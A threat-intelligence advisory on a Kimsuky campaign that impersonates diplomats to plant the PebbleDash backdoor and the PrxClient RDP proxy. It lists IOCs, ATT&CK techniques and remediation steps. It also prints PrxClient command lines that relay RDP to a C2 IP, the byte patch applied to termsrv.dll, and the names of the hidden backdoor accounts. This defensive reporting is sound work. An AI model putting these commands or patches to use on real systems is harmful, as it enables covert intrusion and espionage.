Kimsuky Group Impersonates Diplomats to Deploy PebbleDash Backdoor and PrxClient Proxy (CVE-less LNK Campaign)

Kimsuky Group Impersonates Diplomats to Deploy PebbleDash (TL-2026-1645), also tracked as PebbleDash / PrxClient Diplomatic Impersonation Campaign, is a high-severity malware campaign, first published 2026-07-22. It is attributed to Kimsuky (North Korea) with high confidence, affects Microsoft Windows (termsrv.dll / Remote Desktop Services), maps to 27 MITRE ATT&CK techniques (T1003.001, T1005, T1021.001), and is covered by 9 detection rules and 34 indicators of compromise.

Key facts for TL-2026-1645

Threat ID
TL-2026-1645
Also known as
PebbleDash / PrxClient Diplomatic Impersonation Campaign
Severity
HIGH
Status
ACTIVE
Category
MALWARE
First published
2026-07-22
Last reviewed
2026-07-22
Attribution
Kimsuky
Attribution confidence
HIGH
Nation-state nexus
North Korea
Motivation
ESPIONAGE
Target sectors
education, government administration, diplomatic
Target regions
south korea, Global
Detection rules
9
Indicators of compromise
34

Malware and tooling in Kimsuky Group Impersonates Diplomats to Deploy PebbleDash

Malware and tooling: PEBBLEDASH, PrxClient, RDP Wrapper, SspiUacBypass, UACMe

The North Korea-linked Kimsuky group (APT43/Black Banshee) ran spear-phishing campaigns against education-sector personnel by impersonating diplomatic entities, using malicious LNK files to trigger PowerShell/Mshta droppers that installed the PebbleDash backdoor, PrxClient RDP relay proxy, RDP Wrapper, UACMe, SspiUacBypass, and a keylogger. The actor patched termsrv.dll to enable multi-session RDP and created hidden backdoor administrator accounts for persistent, stealthy remote access.

How Kimsuky Group Impersonates Diplomats to Deploy PebbleDash works

In a campaign documented by AhnLab ASEC (published 2026-07-17), Kimsuky operators sent spear-phishing emails impersonating diplomatic personnel and organizations, targeting education-sector victims with LNK attachments disguised as documents (e.g., "vvn.31.Pdf....Lnk", "D.21 SEOUL.Lnk", "AIE NO. 178 SEOUL.Lnk"). Two execution chains were observed: Case 1 has the LNK directly invoke an embedded PowerShell script; Case 2 has the LNK launch mshta.exe against an embedded malicious HTA script. Both chains ultimately drop a JavaScript downloader ("DefenderUpdate.js") that beacons to C2 for follow-on payloads, plus "Templates.js"/"Templates.ps1" which install a persistence launcher and register a scheduled task named "Windows Templates Update", and "capture.ps1", an exfiltration script that reads and transmits local files to the C2 server.

The primary payload is the PebbleDash backdoor, deployed in two variants. An argument-based variant is installed with the argument "QCvt5676hZXbg" and executed with "mJnZzaCN2RnFG", self-copying to %SystemRoot%\System32\smss.exe to masquerade as a legitimate Windows process. A registry-based variant requires argument "edcVFRtgbNHY6", stores its encrypted configuration under HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security\{CC1CFAFD-D1B4-4303-8C2C-0BC4E3C54B5C}, and uses an injector DLL (%SystemDirectory%\sqliom.dll) to inject its payload into the LSASS process for defense evasion and credential-access proximity. PebbleDash communicates with its C2 over an HTTP-based protocol using URL parameters (Page=<Random>&mode=<ConfigID>&DATA=<SessionID> for registration, Page=1&mode=<SessionID>2 for command retrieval, Page=2&mode=<SessionID>&DATA=<EncData> for result exfiltration) and supports at least 27 distinct commands covering drive/process/system enumeration, file download/upload/delete/wipe/move, arbitrary process execution, configuration updates, heartbeat, self-deletion, and remote shutdown.

Alongside PebbleDash, the actor deploys PrxClient, a lightweight relay/proxy tool that pivots traffic between the attacker's C2 infrastructure and the victim's local RDP port (3389), effectively turning the compromised host into a reverse-proxy jump box for interactive RDP sessions without requiring inbound firewall exceptions. Observed invocations pass six positional arguments: C2 heartbeat port, C2 IP, C2 port, local IP, local RDP port, and a heartbeat-data flag, e.g. "125.tmp 6060 153.75.233.17 8080 127.0.0.2 3389 2" and "rpc.exe 6060 153.75.233.17 8080 127.0.0.2 3389 1".

To maximize the value of RDP access, the actor drops RDP Wrapper (via rdpwrap.bat) to enable RDP service on editions that normally restrict it and to activate a dormant Administrator account, alongside an in-house RDP Patcher that binary-patches the legitimate termsrv.dll routine (legitimate bytes "39 81 3C 06 00 00..." replaced with "B8 00 01 00 00 89 81 38 06 00 00 90") to remove the single-session RDP restriction, enabling concurrent multi-session RDP logins without alerting the interactive user. The patched DLL is staged at C: emp.dll before replacing the system file. The actor then creates multiple hidden local backdoor accounts with disguised names and passwords, including "Administrator" (variant passwords resembling "12*@#"), a second "Administrator" variant ("R8*ca"), and "Adminini" ("09*21"), to guarantee persistent multi-session RDP access even if one credential set is discovered and remediated.

Privilege escalation is achieved via UACMe-derived UAC-bypass techniques and SspiUacBypass, a technique that abuses NTLM datagram security-context manipulation in the Security Support Provider Interface to elevate privileges without a UAC prompt. A custom keylogger persists on the host, writing captured keystrokes to %TEMP%\Log.<USERNAME>.bin before periodic exfiltration to the C2. Additional loader/downloader scripts ("swas.txt", "sadadf.txt") execute further obfuscated PowerShell, and the actor is observed running "rdpwrap_new.bat" or exfiltrating System32 directory listings as reconnaissance for further tooling deployment.

Infrastructure includes an HTTP C2 panel at 167.88.165.122 (/login.asp) and a cluster of attacker-registered/compromised domains masquerading as legitimate services (edcvbgtrf.medianewsonline.com, fsfhsfgsfsnxcvbasfsgsrhsf234fsd.mywebcommunity.org, mpo4wj.scienceontheweb.net, ng.mofagov.com — impersonating a foreign-ministry domain pattern consistent with the diplomatic-impersonation lure, p563q1.sportsontheweb.net), backed by hosting IPs 103.212.120.253, 153.75.233.17, 173.214.170.58, and 167.88.165.122. This tradecraft — LNK-triggered multi-stage PowerShell droppers, PebbleDash, RDP-based interactive access via patched termsrv.dll and hidden accounts, and UAC-bypass privilege escalation — is consistent with Kimsuky's (APT43/Black Banshee/Velvet Chollima/Emerald Sleet/THALLIUM/TA427/Springtail) long-running espionage operations against government, diplomatic, academic, and think-tank targets on behalf of North Korea's Reconnaissance General Bureau.

MITRE ATT&CK techniques used in TL-2026-1645

Credential Access

T1003.001 LSASS Memory; T1056.001 Keylogging

Collection

T1005 Data from Local System

Lateral Movement

T1021.001 Remote Desktop Protocol

Defense Evasion

T1036.005 Match Legitimate Resource Name or Location; T1055 Process Injection; T1070.004 File Deletion; T1140 Deobfuscate/Decode Files or Information; T1564.002 Hidden Users

Exfiltration

T1041 Exfiltration Over C2 Channel

Execution

T1053.005 Scheduled Task; T1059.001 PowerShell; T1059.007 JavaScript

Persistence

T1053.005 Scheduled Task; T1098.007 Additional Local or Domain Groups; T1136.001 Local Account

Discovery

T1057 Process Discovery; T1082 System Information Discovery; T1083 File and Directory Discovery

Command and Control

T1071.001 Web Protocols; T1090 Proxy; T1105 Ingress Tool Transfer; T1219 Remote Access Tools; T1571 Non-Standard Port

defense-impairment

T1112 Modify Registry

stealth

T1218.005 Mshta

Privilege Escalation

T1548.002 Bypass User Account Control

Initial Access

T1566.001 Spearphishing Attachment

Affected products and versions in Kimsuky Group Impersonates Diplomats to Deploy PebbleDash

  • Microsoft — Windows (termsrv.dll / Remote Desktop Services)
    Vulnerable versions: All supported Windows client/server editions where termsrv.dll can be patched by an attacker with local admin access

Remediation for Kimsuky Group Impersonates Diplomats to Deploy PebbleDash

Immediate actions

  • Block the identified C2 IPs (103.212.120.253, 153.75.233.17, 173.214.170.58, 167.88.165.122) and domains (edcvbgtrf.medianewsonline.com, fsfhsfgsfsnxcvbasfsgsrhsf234fsd.mywebcommunity.org, mpo4wj.scienceontheweb.net, ng.mofagov.com, p563q1.sportsontheweb.net) at perimeter DNS/firewall/proxy
  • Hunt for and disable unauthorized local accounts named Administrator (secondary), Adminini, or any hidden accounts (HKLM SAM UserList) created outside change control
  • Verify integrity of C:\Windows\System32\termsrv.dll against known-good vendor hash; restore from trusted source if patched bytes (B8 00 01 00 00 89 81 38 06 00 00 90) are found
  • Hunt for smss.Exe outside %SystemRoot%\System32 or with mismatched signing/hash, and for sqliom.dll injector artifacts
  • Inspect HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security\{CC1CFAFD-D1B4-4303-8C2C-0BC4E3C54B5C} for injected PebbleDash configuration
  • Block execution of LNK-triggered mshta.exe and PowerShell chains via ASR rules; disable Windows Script Host for non-admin users where feasible
  • Search for %TEMP%\Log.<USERNAME>.bin keylogger artifacts and scheduled task "Windows Templates Update"

Workarounds

  • Disable mshta.exe execution via AppLocker/WDAC where not business-required
  • Restrict local Administrator account creation/renaming via GPO account lockout and auditing

Longer-term hardening

  • Deploy EDR with behavioral detection for LSASS injection, termsrv.dll modification, and RDP multi-session anomalies
  • Restrict RDP exposure with network segmentation and require MFA/VPN for any remote administration
  • User awareness training for education-sector and diplomatic-adjacent staff on spear-phishing lures impersonating diplomatic entities
  • Enforce application control / LNK-file execution restrictions from email/web sources
  • Monitor for RDP Wrapper (rdpwrap.dll/rdpwrap.ini) installation and UACMe/SspiUacBypass tool signatures

Timeline of Kimsuky Group Impersonates Diplomats to Deploy PebbleDash

  • Custom keylogger begins writing captured keystrokes to %TEMP%\Log.<USERNAME>.bin for periodic exfiltration
  • PrxClient relays attacker C2 traffic to victim RDP port 3389 via IP 153.75.233.17:8080, enabling interactive remote access
  • UACMe-based tooling and SspiUacBypass used to bypass UAC for elevated persistence
  • RDP Wrapper enabled, termsrv.dll patched for multi-session RDP, and hidden Administrator/Adminini backdoor accounts created
  • PebbleDash backdoor installed (argument-based variant copies to System32\smss.exe; registry-based variant injects into LSASS via sqliom.dll)
  • Scheduled task "Windows Templates Update" registered; capture.ps1 begins local file exfiltration
  • LNK execution triggers embedded PowerShell (Case 1) or Mshta-launched HTA script (Case 2), dropping DefenderUpdate.js and Templates.js/ps1
  • Victims receive spear-phishing emails with LNK attachments disguised as diplomatic documents (e.g. "D.21 SEOUL.Lnk", "AIE NO. 178 SEOUL.Lnk")
  • AhnLab ASEC publishes technical analysis of Kimsuky spear-phishing campaign impersonating diplomats, detailing PebbleDash, PrxClient, and RDP backdoor tooling

Sources cited for Kimsuky Group Impersonates Diplomats to Deploy PebbleDash

Threats related to Kimsuky Group Impersonates Diplomats to Deploy PebbleDash

Detection coverage for TL-2026-1645

As of 2026-07-22, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1645 across Splunk SPL, Microsoft KQL and Sigma, covering 34 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats